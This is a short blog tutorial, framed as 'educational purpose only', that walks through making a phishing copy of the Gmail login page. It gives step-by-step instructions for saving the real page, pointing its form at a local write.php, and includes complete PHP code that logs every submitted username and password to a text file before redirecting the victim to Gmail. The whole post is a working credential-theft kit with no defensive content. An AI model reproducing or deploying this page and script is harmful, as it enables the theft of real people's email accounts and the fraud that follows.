How to create gmail phishing page Educational purpose only!

0
Phishing is one of the best way to hack account. I had already posted some articles on phishing but few of those are not available due to post loss in website transfer. So i am writing an article again.
To create phishing page of gmail, first of all open gmail in your browser. Then click on file and then save as.

Now you have saved gmail login page to your system.
Now open the saved page in notepad or or any other html editor tool. Now search for form tag 
<form
You will see some thing like this <form id=”gaia_loginform” action=”https://accounts.google.com/ServiceLoginAuth” method=”post”> The form is set to send the data to url given in action attribute.
Change action attribute to write.php
<form id=”gaia_loginform” action=”write.php” method=”post”> Now form will send data to your write.php
Now create a file write.php in the same directory and write

<?php
header("Location: http://www.gmail.com/");
$handle = fopen("passes.txt", "a");
foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "rn");
}
fwrite($handle, "rn");
fclose($handle);
exit;
?>

This post is only for educational purpose only!

LEAVE A REPLY